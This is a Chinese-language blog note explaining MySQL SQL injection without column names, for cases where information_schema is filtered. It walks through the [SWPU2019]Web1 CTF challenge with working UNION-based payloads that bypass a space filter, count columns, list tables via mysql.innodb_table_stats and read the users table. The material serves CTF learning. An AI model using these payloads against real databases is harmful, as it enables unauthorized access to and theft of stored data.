无列名注入小记

本文最后更新于:2020年12月2日 上午

前言

​ 在 mysql => 5 的版本中存在库information_schema,记录着mysql中所有表的结构,通常,在mysql的sql注入中,我们会通过此库中的表去获取其他表的结构,即表名,列名等。但是如information_schmea因为某些原因被严格的过滤,无法绕过的话。我们有可能需要通过无列名注入来获得数据信息。

正文

我们正常进行查询操作是这样的。

配合联合查询,我们会得到一个临时的虚拟表。

前面列的数量需要和查询的目标表的字段数保持一致。(这是联合查询的特点)

我们可以通过这个2来得到,对应第二列的数据。注意这里需要别名否则会报错。

1
`2`

如果反引号`不能使用的时候,也可以采取别名来解决

拓展:

我们还可以通过join和join…..using(这个是在已经通过join得到了一个字段名后使用)来获取列名。

上面无列名注入都是用来查询列名的,但是有时候mysql注入常用的infomation_schmea库会被过滤,但是我们即使要运用无列名注入,也是需要表名的。

下面这两张图则提供了思路:https://www.cnblogs.com/wangtanzhi/p/12241499.html(我从该链接得到的)

实战测试

[SWPU2019]Web1

1.考点:二次注入+无列名注入

2.解题

这一题就是漏洞点在于发布广告这一地方

并且对or进行了严格的过滤,导致information_schmea无法使用。

3.payload

利用fuzz发现过滤了空格和or以及#,join等特殊字符,空格可以用/**/来绕过

1.-1'/**/group/**/by/**/22,'11 发现一共22个字段

2.id=1'/**/union/**/select 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

3.id=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

在buu环境中,貌似想要猜测表名的只有mysql.innodb_table_stats有效。。。其他库好像都不在。参考链接中的schema_table_statistics_with_bufferschema_auto_increment_columns并没有成功。

4.id=-1'/**/union/**/select/**/1,(select group_concat(b)/**/from/**/(select 1,2 as c,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

参考连接

https://www.anquanke.com/post/id/193512